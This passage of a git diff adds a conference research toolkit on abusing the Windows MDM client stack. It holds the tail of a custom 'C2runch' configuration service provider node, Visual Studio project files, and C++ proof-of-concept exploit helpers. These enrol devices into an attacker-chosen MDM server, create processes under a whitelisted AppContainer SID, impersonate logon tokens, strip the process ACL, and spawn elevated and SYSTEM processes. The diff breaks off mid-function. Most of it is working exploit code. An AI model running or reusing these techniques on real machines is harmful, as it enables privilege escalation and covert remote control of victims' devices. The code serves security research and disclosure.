+ ret = S_OK; + + return ret; +} + +HRESULT C2runchCSPNode::SetValue(VARIANT* p0) +{ + auto ref = this; + + if (p0->bstrVal && wcslen(p0->bstrVal) > 0) { + + std::wstring inputCmd(p0->bstrVal); + + + } + + return S_OK; +} + +HRESULT C2runchCSPNode::GetProperty(GUID* type, VARIANT* property) +{ + auto ref = this; + if (property == nullptr) { + return E_INVALIDARG; + } + + if (*type == CFGMGR_PROPERTY_DATATYPE) { + property->vt = VT_I4; + property->lVal = CFG_DATATYPE_STRING; + return S_OK; + } + + else if (*type == CFGMGR_PROPERTY_SEMANTICTYPE) { + BSTR typeStr = SysAllocString(L"chr"); + if (typeStr == nullptr) { + return E_OUTOFMEMORY; + } + + property->vt = VT_BSTR; + property->bstrVal = typeStr; + return S_OK; + + } + + return HRESULT_FROM_WIN32(ERROR_NOT_FOUND); +} + +HRESULT C2runchCSPNode::SetProperty(GUID* p0, VARIANT* p1) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::DeleteProperty(GUID* p0) +{ + auto ref = this; + return S_OK; +} + +HRESULT C2runchCSPNode::GetPropertyIdentifiers(int64_t* p0, GUID** p1) +{ + auto ref = this; + return S_OK; +} + + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +/// C2runchCSP CSP Interface +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class DECLSPEC_UUID("3F2504E0-4F89-11D3-9A0C-0305E82C3301") + C2runchMDMCustomCSP : public RuntimeClass, IConfigServiceProvider2, FtmBase> +{ +public: + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE GetNode(IConfigManager2URI* omaURI, ICSPNode ** ptrNode, int64_t* options) override; + virtual COM_DECLSPEC_NOTHROW HRESULT STDMETHODCALLTYPE ConfigManagerNotification(uint16_t state, intptr_t params) override; + +private: + IConfigSession2* ptr_config = nullptr; +}; + + +wchar_t* AllocateCOMMemory(size_t numChars) { + wchar_t* buffer = (wchar_t*)CoTaskMemAlloc(numChars * sizeof(wchar_t)); + if (buffer != NULL) { + ZeroMemory(buffer, numChars * sizeof(wchar_t)); + } + + return buffer; +} + +HRESULT C2runchMDMCustomCSP::GetNode(IConfigManager2URI* omaURI, ICSPNode** ptrNode, int64_t* options) +{ + int64_t node_options = 0; + + if (omaURI) { + if (omaURI == nullptr || ptrNode == nullptr) + { + return E_INVALIDARG; + } + + *ptrNode = nullptr; + + Microsoft::WRL::ComPtr spCSPNode = nullptr; + HRESULT hr = Microsoft::WRL::MakeAndInitialize(&spCSPNode); + if (FAILED(hr)) + { + return hr; + } + + *ptrNode = spCSPNode.Detach(); + + return S_OK; + + } + + return CFGMGR_E_NODENOTFOUND; +} + + +HRESULT C2runchMDMCustomCSP::ConfigManagerNotification(uint16_t state, intptr_t params) +{ + uint16_t value = 0; + + switch (state) { + case CFGMGR_NOTIFICATION_LOAD: + value = state; + break; + + case CFGMGR_NOTIFICATION_BEGINCOMMANDPROCESSING: + value = state; + break; + + case CFGMGR_NOTIFICATION_ENDCOMMANDPROCESSING: + value = state; + break; + + case CFGMGR_NOTIFICATION_UNLOAD: + value = state; + break; + + case CFGMGR_NOTIFICATION_SETSESSIONOBJ: + value = state; + if (params) { + ptr_config = (IConfigSession2 *)params; + } + + break; + + case CFGMGR_NOTIFICATION_BEGINCOMMIT: + value = state; + break; + + case CFGMGR_NOTIFICATION_ENDCOMMIT: + value = state; + break; + + case CFGMGR_NOTIFICATION_BEGINROLLBACK: + value = state; + break; + + case CFGMGR_NOTIFICATION_ENDROLLBACK: + value = state; + break; + + case CFGMGR_NOTIFICATION_BEGINTRANSACTIONING: + value = state; + break; + + case CFGMGR_NOTIFICATION_ENDTRANSACTIONING: + value = state; + break; + + default: + break; + } + + return S_OK; +} + +CoCreatableClass(C2runchMDMCustomCSP); + diff --git a/tools/blackhat-mdm/docs/Slides-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf b/tools/blackhat-mdm/docs/Slides-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf new file mode 100755 index 0000000000..a76bdc9483 Binary files /dev/null and b/tools/blackhat-mdm/docs/Slides-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf differ diff --git a/tools/blackhat-mdm/docs/Whitepaper-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf b/tools/blackhat-mdm/docs/Whitepaper-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf new file mode 100755 index 0000000000..6d72be8637 Binary files /dev/null and b/tools/blackhat-mdm/docs/Whitepaper-Windows-Agentless-C2-Abusing-the-MDM-Client-Stack.pdf differ diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.sln b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.sln new file mode 100755 index 0000000000..b58bbf91bd --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32802.440 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mdm_enrollment_client_pocs", "mdm_enrollment_client_pocs.vcxproj", "{4F748D41-5BE1-4626-A0AB-9EA15CDC2074}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x64.ActiveCfg = Debug|x64 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x64.Build.0 = Debug|x64 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x86.ActiveCfg = Debug|Win32 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Debug|x86.Build.0 = Debug|Win32 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x64.ActiveCfg = Release|x64 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x64.Build.0 = Release|x64 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x86.ActiveCfg = Release|Win32 + {4F748D41-5BE1-4626-A0AB-9EA15CDC2074}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F9EB9242-AD06-4825-A287-D8874BFC6A06} + EndGlobalSection +EndGlobal diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj new file mode 100755 index 0000000000..47bb8faa93 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj @@ -0,0 +1,166 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {4f748d41-5be1-4626-a0ab-9ea15cdc2074} + mdm_enrollment_client_pocs + 10.0 + mdm_enrollment_client_pocs + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + $(SolutionDir)\build\x32\$(Configuration)\ + $(SolutionDir)\build\x32\int\$(Configuration)\ + + + false + $(SolutionDir)\build\x32\$(Configuration)\ + $(SolutionDir)\build\x32\int\$(Configuration)\ + + + true + $(SolutionDir)\build\x64\$(Configuration)\ + $(SolutionDir)\build\x64\int\$(Configuration)\ + + + false + $(SolutionDir)\build\x64\$(Configuration)\ + $(SolutionDir)\build\x64\int\$(Configuration)\ + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj.filters b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj.filters new file mode 100755 index 0000000000..571f0ae97c --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/mdm_enrollment_client_pocs.vcxproj.filters @@ -0,0 +1,28 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common.h b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common.h new file mode 100755 index 0000000000..21d72f7f10 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common.h @@ -0,0 +1,76 @@ +#pragma once + +//Common header approach, not very efficient from compile time perspective, but really convenient for small projects +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "mdmregistration.lib") +#pragma comment(lib, "wtsapi32.lib") +#pragma comment(lib, "runtimeobject.lib") + +using namespace Microsoft::WRL; +using namespace Microsoft::WRL::Wrappers; +using namespace ABI::Windows::Foundation; +using namespace ABI::Windows::Foundation::Collections; + +// Common defines +typedef std::vector TCaps; +typedef std::vector TStrings; +static const wchar_t* mdm_only_argument = L"--mdm-registration-only"; +static const wchar_t* unenrollment_argument = L"--mdm-unenrollment"; +static const wchar_t* enroll_webservice_argument = L"--enroll-webservice"; +static const wchar_t* exploit_argument = L"--exploit"; + +static const wchar_t* exploit_aad_mdm_enrollment = L"aad_mdm_enrollment"; +static const wchar_t* exploit_whitelisted_mdm_enrollment = L"whitelisted_mdm_enrollment"; +static const wchar_t* exploit_sched_tasks_delete = L"mdm_sched_tasks"; + + +//Common Helpers +bool GetParsedArguments( + bool& is_mdm_enrollment_only_present, + bool& unenrollment_present, + std::wstring& target_exploit, + std::wstring& enroll_mdm_webservice); +bool GetSecurityCapabilitiesForLowboxToken(TCaps& sidCaps); +bool EnrollIntoMDM(const std::wstring& enroll_email, const std::wstring& mdm_enroll_webservice_url); +bool UnenrollFromMDM(); +bool IsAppContainer(); +bool IsAdminToken(); +bool IsAdminPresentToken(); +bool WaitUntilDeviceIsMDMEnrolled(); +bool ExecutePrivilegedCmdPayload(); +bool CreateSystemProcess(const std::wstring& executable_path); +bool CreateWhitelistedAppContainerProcess( + const std::wstring& executable_commandline, + const std::wstring& enroll_webservice, + const std::wstring& enroll_upn); +bool CreateElevatedProcessFromMediumIL( + const std::wstring& executable_path, + const std::wstring& username, + const std::wstring& password); +bool PerformDeviceEnrollmentUsingWhitelistedProcess(const std::wstring& enroll_mdm_webservice, const std::wstring& enroll_upn); +bool GetCurrentExecutablePath(std::wstring& path); +bool GetEnrollmentIDs(TStrings& enrollment_ids, const wchar_t* upn = L""); +void GetListOfEnrollmentTasksByEnrollmentID(const std::wstring& enrollment_id, TStrings& enrollment_tasks); +bool GetListOfEnrollmentTasks(TStrings& enrollment_tasks); +void BlockWaitForMDMPolicyEnforcement(); +bool ExecutePostExploitationPayload(bool is_enroll_only_mdm_requested, const std::wstring& target_exploit); +std::wstring GetRunningUsername(); +HRESULT PrintError(HRESULT hr); + + +//ReflectedEnroller helpers +HRESULT EnrollAADUsingReflectedEnroller( + const std::wstring& upn, + const std::wstring& discovery_service_full_url); + +//Management Enroller helpers +HRESULT DeleteEnrollmentTask(const std::wstring& taskname); \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common_helpers.cpp b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common_helpers.cpp new file mode 100755 index 0000000000..08150e7a59 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/common_helpers.cpp @@ -0,0 +1,1096 @@ +#include "common.h" +#include +#include +#include +#include + +// It gets the input arguments +bool GetParsedArguments( + bool& is_mdm_enrollment_only_present, + bool& unenrollment_present, + std::wstring& target_exploit, + std::wstring& enroll_mdm_webservice) { + + // Lambda helper to check if string is contained within a string + auto IsStringPresent = [](const std::wstring& input1, const std::wstring& input2) -> bool { + std::size_t found = input1.find(input2); + if (found != std::string::npos) { + return true; + } + return false; + }; + + // Lambda helper to grab the option value from a given argument + auto GetOptionValue = [](int index, int nr_arguments, const LPWSTR* arglist, std::wstring& value) { + if ((index + 1) < nr_arguments) { + std::wstring argument_value(arglist[index + 1], wcslen(arglist[index + 1])); + if (!argument_value.empty()) { + value.assign(argument_value); + } + } + }; + + int nr_arguments = 0; + LPWSTR* arglist = CommandLineToArgvW(GetCommandLineW(), &nr_arguments); + + if ((nr_arguments == 0) || (!arglist)) { + return false; + } + + //checking input arguments + for (int i = 1; i < nr_arguments; i++) { + std::wstring argument(arglist[i], wcslen(arglist[i])); + + if (IsStringPresent(argument, mdm_only_argument)) { + is_mdm_enrollment_only_present = true; + } + else if (IsStringPresent(argument, unenrollment_argument)) { + unenrollment_present = true; + } + else if (IsStringPresent(argument, enroll_webservice_argument)) { + GetOptionValue(i, nr_arguments, arglist, enroll_mdm_webservice); + } + else if (IsStringPresent(argument, exploit_argument)) { + GetOptionValue(i, nr_arguments, arglist, target_exploit); + } + } + + return true; +} + + +// It returns some useful security capabilities for the lowbox token +bool GetSecurityCapabilitiesForLowboxToken(TCaps& sidCaps) { + + //Helper lambda to grab the capability SID from a SID string + auto addSIDCapability = [&](const std::wstring& capabilitySID) -> bool { + + SID_AND_ATTRIBUTES data = { 0 }; + data.Attributes = SE_GROUP_ENABLED; + + // Get the SID form of the custom capability + if (!ConvertStringSidToSidW(capabilitySID.c_str(), &data.Sid)) { + return false; + } + + sidCaps.push_back(data); + return true; + }; + + typedef BOOL(WINAPI* DeriveCapabilitySidsFromNameImpl)( + LPCWSTR CapName, PSID** CapabilityGroupSids, DWORD* CapabilityGroupSidCount, + PSID** CapabilitySids, DWORD* CapabilitySidCount); + + //Helper lambda to grab the capability SID fron a Capability Name + auto addNamedCapability = [&](const std::wstring& capabilityName) -> bool { + + SID_AND_ATTRIBUTES data = { 0 }; + data.Attributes = SE_GROUP_ENABLED; + + //leaking allocated SIDs on purpose + PSID* capabilityGroupSids = nullptr; + DWORD capabilityGroupSidCount = 0; + PSID* capabilitySids = nullptr; + DWORD capabilitySidCount = 0; + + auto _DeriveCapabilitySidsFromName = + (DeriveCapabilitySidsFromNameImpl)GetProcAddress( + GetModuleHandle(L"KernelBase.dll"), "DeriveCapabilitySidsFromName"); + + // Derive the SID from the named capability + BOOL success = _DeriveCapabilitySidsFromName( + capabilityName.c_str(), + &capabilityGroupSids, + &capabilityGroupSidCount, + &capabilitySids, + &capabilitySidCount + ); + + if (!success || capabilitySidCount != 1) { + return false; + } + + data.Sid = capabilitySids[0]; + + sidCaps.push_back(data); + return true; + }; + + // Device Management Related Capabilities + // The MDM related capabilities are the only one needed, the rest is there for convenience purposes + addSIDCapability(L"S-1-15-3-1"); + addSIDCapability(L"S-1-15-3-2"); + addSIDCapability(L"S-1-15-3-3"); + addSIDCapability(L"S-1-15-3-8"); + addSIDCapability(L"S-1-15-3-9"); + addSIDCapability(L"S-1-15-3-1024-1813308025-3893443517-2936766468-3261773091-2430119119-317633435-1602637770-2843472530"); + addSIDCapability(L"S-1-15-3-1024-1447750909-3412137041-2543229612-2579680811-949383960-1512208256-1474305305-1405036652"); + addSIDCapability(L"S-1-15-3-1024-2830772650-3846338416-1816072262-3095855940-4193335384-2293034769-252220343-157514922"); + addSIDCapability(L"S-1-15-3-1024-2114238718-839519356-3141599949-1701592612-4239813495-2246009235-3401969156-562141158"); + addSIDCapability(L"S-1-15-3-1024-150999393-257915958-2109302476-342821789-1525132724-4026398146-564805607-440935315"); + addSIDCapability(L"S-1-15-3-1024-1365790099-2797813016-1714917928-519942599-2377126242-1094757716-3949770552-3596009590"); + addSIDCapability(L"S-1-15-3-1024-1439478919-990579493-3627320768-2665985634-2354262676-2096604540-223614242-3656862712"); + addSIDCapability(L"S-1-15-3-1024-917207464-68434614-1080454720-3650237274-2024810623-3125538881-3710571513-3065818052"); + addSIDCapability(L"S-1-15-3-1024-1023893147-235863880-425656572-4266519675-2590647553-3475379062-430000033-3360374247"); + addSIDCapability(L"S-1-15-3-1024-2263946659-221263054-3004297223-2509109377-4006057435-143953683-28675390-302247413"); + addSIDCapability(L"S-1-15-3-1024-3190844328-4099963570-3870079217-2969588245-2822710570-1600598934-3576592281-2616761512"); + addSIDCapability(L"S-1-15-3-1024-3382307235-172505126-3436709648-3853344092-1878498961-3808853949-3782709338-3842044973"); + addSIDCapability(L"S-1-15-3-1024-1234007056-2663856401-2070564919-154281843-2544581321-3321489116-4145095046-1431496914"); + addSIDCapability(L"S-1-15-3-1024-3777909873-1799880613-452196415-3098254733-3833254313-651931560-4017485463-3376623984"); + addSIDCapability(L"S-1-15-3-1024-126078593-3658686728-1984883306-821399696-3684079960-564038680-3414880098-3435825201"); + addSIDCapability(L"S-1-15-3-1024-3057529725-2845346375-3525973929-2302649945-3073475876-347241512-4167996218-3915214886"); + addSIDCapability(L"S-1-15-3-1024-3247244612-4072385457-573406302-3159362907-4108726569-214783218-394353107-2658650418"); + addNamedCapability(L"ID_CAP_PROVISIONING_PACKAGE_API_ADMIN"); + + if (!sidCaps.empty()) { + return true; + } + + return false; +} + +// It enrolls the device into an target MDM server +bool EnrollIntoMDM(const std::wstring& enroll_email, const std::wstring& mdm_enroll_webservice_url) { + + //Sanity check on input + if (enroll_email.empty() || mdm_enroll_webservice_url.empty()) { + return false; + } + + // Performs the actual registration using an empty access token + if (RegisterDeviceWithManagement(enroll_email.c_str(), mdm_enroll_webservice_url.c_str(), L"") == S_OK) { + return true; + } + + return false; +} + +// It unregister the device from every registered MDM server +bool UnenrollFromMDM() { + + // It unenrolls from every registered MDM server + if (UnregisterDeviceWithManagement(NULL) == S_OK) { + return true; + } + + return false; +} + +// It checks if primary token is an AppContainer token +bool IsAppContainer() { + + HANDLE process_token = INVALID_HANDLE_VALUE; + + // Getting the primary access token + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &process_token) || (process_token == INVALID_HANDLE_VALUE)) { + return false; + } + + // And checking if this is an AppContainer token + BOOL is_container = FALSE; + DWORD return_length = 0; + if (GetTokenInformation(process_token, TokenIsAppContainer, &is_container, sizeof(is_container), &return_length) && (is_container)) { + CloseHandle(process_token); + return true; + } + + CloseHandle(process_token); + return false; +} + +// It checks if primary token contains the Administrator group +bool IsAdminToken() { + bool ret = false; + PSID admin_group_sid = NULL; + BOOL admin_group_member = FALSE; + + // Cleanup lambda helper - should use RAII management for this + auto FreeResources = [&]() { + if (admin_group_sid) + { + FreeSid(admin_group_sid); + } + }; + + // Allocate and initialize a SID of the administrators group + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (!AllocateAndInitializeSid( + &NtAuthority, + 2, + SECURITY_BUILTIN_DOMAIN_RID, + DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &admin_group_sid)) + { + FreeResources(); + wprintf(L"[-] There was an error allocating the administrator group sid: 0x%x\n", GetLastError()); + return false; + } + + // Determine whether the SID of administrators group is enabled in the primary access token of the process. + if (!CheckTokenMembership(NULL, admin_group_sid, &admin_group_member)) + { + FreeResources(); + wprintf(L"[-] There was an error checking the administrator group membership: 0x%x\n", GetLastError()); + return false; + } + + return (bool)admin_group_member; +} + +// It checks for Administrator group presence on primary token +bool IsAdminPresentToken() { + bool ret = false; + HANDLE token_handle = NULL; + PTOKEN_GROUPS token_groups_ptr = NULL; + DWORD token_groups_size = 0; + PSID admin_group_sid = NULL; + bool admin_group_is_present = false; + + // Cleanup lambda helper - should use RAII management for this + auto FreeResources = [&]() { + if (admin_group_sid) + { + FreeSid(admin_group_sid); + } + + if (token_handle != NULL && token_handle != INVALID_HANDLE_VALUE) { + CloseHandle(token_handle); + } + + if (token_groups_ptr) { + HeapFree(GetProcessHeap(), 0, token_groups_ptr); + } + }; + + // Allocate and initialize a SID of the administrators group + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (!AllocateAndInitializeSid( + &NtAuthority, + 2, + SECURITY_BUILTIN_DOMAIN_RID, + DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &admin_group_sid)) + { + FreeResources(); + wprintf(L"[-] There was an error allocating the administrator group sid: 0x%x\n", GetLastError()); + return false; + } + + // Getting primary token + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token_handle)) { + return false; + } + + // Allocating TOKEN_GROUPS buffer + if (!GetTokenInformation( + token_handle, + TokenGroups, + nullptr, + 0, + &token_groups_size) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + FreeResources(); + wprintf(L"[-] There was an error getting the size of TOKEN_GROUPS: 0x%x\n", GetLastError()); + return false; + } + + token_groups_ptr = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, token_groups_size)); + if (!token_groups_ptr) { + FreeResources(); + wprintf(L"[-] There was an error allocating the buffer for TOKEN_GROUPS: 0x%x\n", GetLastError()); + return false; + } + + // Getting the actual TOKEN_GROUPS data + if (!GetTokenInformation(token_handle, TokenGroups, token_groups_ptr, token_groups_size, &token_groups_size)) { + FreeResources(); + wprintf(L"[-] There was an problem obtaining TOKEN_GROUPS information: 0x%x\n", GetLastError()); + return false; + } + + // Determine whether the SID of administrators group is present in the list of GROUPS in the token + for (DWORD i = 0; i < token_groups_ptr->GroupCount; i++) { + if (EqualSid(token_groups_ptr->Groups[i].Sid, admin_group_sid)) { + admin_group_is_present = true; + break; + } + } + + return admin_group_is_present; +} + +// It creates an app container process using a MDM enrollment whitelisted AppContainer SID +bool CreateWhitelistedAppContainerProcess( + const std::wstring& executable_commandline, + const std::wstring& enroll_webservice, + const std::wstring& enroll_upn) { + + TCaps token_capabilities; + SIZE_T attribute_size = 0; + SECURITY_CAPABILITIES security_capabilities{ 0 }; + DWORD num_capabilities = 0; + STARTUPINFOEXW startup_info{ 0 }; + PROCESS_INFORMATION process_info{ 0 }; + + // Sanity check on input + if (executable_commandline.empty() || enroll_webservice.empty()) { + return false; + } + + // Cleanup lambda helper + auto FreeResources = [&]() { + if (process_info.hProcess != NULL && process_info.hProcess != INVALID_HANDLE_VALUE) { + CloseHandle(process_info.hProcess); + } + + if (process_info.hThread != NULL && process_info.hThread != INVALID_HANDLE_VALUE) { + CloseHandle(process_info.hThread); + } + + if (startup_info.lpAttributeList) { + DeleteProcThreadAttributeList(startup_info.lpAttributeList); + } + + if (security_capabilities.AppContainerSid) { + FreeSid(security_capabilities.AppContainerSid); + } + }; + + // Work starts here + + // Setting target AppContainer SID to a whitelisted SID + if (!ConvertStringSidToSidW( + //L"S-1-15-2-2434737943-167758768-3180539153-984336765-1107280622-3591121930-2677285773", + L"S-1-15-2-1910091885-1573563583-1104941280-2418270861-3411158377-2822700936-2990310272", + &security_capabilities.AppContainerSid)) + { + wprintf(L"[-] There was an error creating AppContainer SID: 0x%x\n", GetLastError()); + return false; + } + + // Setting lowbox token security capabilities + if (!GetSecurityCapabilitiesForLowboxToken(token_capabilities)) + { + wprintf(L"[-] There was an error getting the AppContainer token capabilities: 0x%x\n", GetLastError()); + return false; + } + security_capabilities.CapabilityCount = (DWORD)token_capabilities.size(); + security_capabilities.Capabilities = token_capabilities.data(); + + if (InitializeProcThreadAttributeList(NULL, 1, NULL, &attribute_size) || (attribute_size == 0) || + (GetLastError() != ERROR_INSUFFICIENT_BUFFER)) { + FreeResources(); + wprintf(L"[-] There was an error getting attribute attribute list size: 0x%x\n", GetLastError()); + return false; + } + + startup_info.lpAttributeList = + (LPPROC_THREAD_ATTRIBUTE_LIST)calloc(attribute_size, sizeof(BYTE)); + + if (!InitializeProcThreadAttributeList( + startup_info.lpAttributeList, + 1, + NULL, + &attribute_size)) { + FreeResources(); + wprintf(L"[-] There was an error initializing attribute list: 0x%x\n", GetLastError()); + return false; + } + + if (!UpdateProcThreadAttribute( + startup_info.lpAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, + &security_capabilities, + sizeof(security_capabilities), + NULL, + NULL)) { + FreeResources(); + wprintf(L"[-] There was an error calling UpdateProcThreadAttribute(): 0x%x\n", GetLastError()); + return false; + } + + // Building command line arguments + std::wstring target_cmdline_options; + target_cmdline_options.append(executable_commandline); + target_cmdline_options.append(L" "); + target_cmdline_options.append(enroll_webservice_argument); + target_cmdline_options.append(L" "); + target_cmdline_options.append(enroll_webservice); + target_cmdline_options.append(L" "); + + // And finally creating the AppContainer process + startup_info.StartupInfo.cb = sizeof(startup_info); + if (!CreateProcessW( + NULL, + (LPWSTR)target_cmdline_options.c_str(), + NULL, + NULL, + FALSE, + (EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT), + NULL, + NULL, + (LPSTARTUPINFOW)&startup_info, + &process_info)) { + FreeResources(); + wprintf(L"[-] There was an error calling CreateProcess(): 0x%x\n", GetLastError()); + return false; + } + + // Block wait until child process exits + WaitForSingleObject(process_info.hProcess, INFINITE); + + // Getting exit code from child process + DWORD exit_code = EXIT_FAILURE; + if (!GetExitCodeProcess(process_info.hProcess, &exit_code)) { + FreeResources(); + wprintf(L"[-] There was an error calling GetExitCodeProcess(): 0x%x\n", GetLastError()); + return false; + } + + // And checking if child process ended successfully + bool ret = false; + if (exit_code == EXIT_SUCCESS) { + return true; + } + + FreeResources(); + + return ret; +} + +// It creates a privileged process from Medium IL context using username and password +bool CreateElevatedProcessFromMediumIL( + const std::wstring& executable_path, + const std::wstring& username, + const std::wstring& password) { + + // Sanity check on input + if (executable_path.empty() || username.empty() || password.empty()) { + return false; + } + + // Getting the primary access token from current process + HANDLE current_process_primary_token = INVALID_HANDLE_VALUE; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, ¤t_process_primary_token) || + (current_process_primary_token == INVALID_HANDLE_VALUE)) { + wprintf(L"[-] There was a problem calling OpenProcessToken(): 0x%x\n", GetLastError()); + return false; + } + + // Getting an impersonation token using provided username and password + HANDLE logon_token = INVALID_HANDLE_VALUE; + if ((!LogonUserW(username.c_str(), L".", password.c_str(), LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &logon_token)) || + (logon_token == INVALID_HANDLE_VALUE)) { + wprintf(L"[-] There was a problem calling LogonUserW(): 0x%x\n", GetLastError()); + return false; + } + + // Get TokenIntegrityLevel from current process primary token + DWORD token_il_size = 0; + BYTE token_il_buffer[sizeof(TOKEN_MANDATORY_LABEL) + SECURITY_MAX_SID_SIZE]{ 0 }; + if ((!GetTokenInformation(current_process_primary_token, TokenIntegrityLevel, token_il_buffer, sizeof(token_il_buffer), &token_il_size)) || (token_il_size == 0)) { + wprintf(L"[-] There was a problem calling GetTokenInformation(): 0x%x\n", GetLastError()); + return false; + } + + // Setting the obtained IL into the logon token + if (!SetTokenInformation(logon_token, TokenIntegrityLevel, token_il_buffer, sizeof(token_il_buffer))) { + wprintf(L"[-] There was a problem calling SetTokenInformation(): 0x%x\n", GetLastError()); + return false; + } + + // Removing acl from our current process + if (SetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) { + wprintf(L"[-] There was a problem calling SetSecurityInfo(): 0x%x\n", GetLastError()); + return false; + } + + bool ret = false; + + // Impersonating the logon token, look ma, impersonation without SeImpersonatePrivilege + if (!ImpersonateLoggedOnUser(logon_token)) { + wprintf(L"[-] There was a problem impersonating logon token: 0x%x\n", GetLastError()); + return false; + } + + PROCESS_INFORMATION process_info{ 0 }; + STARTUPINFO startup_info{ 0 }; + startup_info.cb = sizeof(startup_info); + + // Create elevated process + if (!CreateProcessWithLogonW( + username.c_str(), + L".", + password.c_str(), + LOGON_NETCREDENTIALS_ONLY, + NULL, + (LPWSTR)executable_path.c_str(), + CREATE_NO_WINDOW, + NULL, + NULL, + &startup_info, + &process_info + )) + { + wprintf(L"[-] There was an error calling CreateProcessWithLogonW(): 0x%x\n", GetLastError()); + return false; + } + + // Wait until child process exits. + WaitForSingleObject(process_info.hProcess, INFINITE); + + // Getting exit code from child process + DWORD exit_code = EXIT_FAILURE; + if (!GetExitCodeProcess(process_info.hProcess, &exit_code)) { + wprintf(L"[-] There was an error calling GetExitCodeProcess(): 0x%x\n", GetLastError()); + return false; + } + + // And checking if child process ended successfully + if (exit_code == EXIT_SUCCESS) { + ret = true; + } + + // Close process and thread handles + if (process_info.hProcess) { + CloseHandle(process_info.hProcess); + } + + if (process_info.hThread) { + CloseHandle(process_info.hThread); + } + + RevertToSelf(); + + return ret; +} + +// It creates a system process from a given executable path +bool CreateSystemProcess(const std::wstring& executable_path) { + + PROCESS_INFORMATION process_info{ 0 }; + STARTUPINFO startup_info{ 0 }; + HANDLE system_process_handle = INVALID_HANDLE_VALUE; + HANDLE system_process_primary_token = 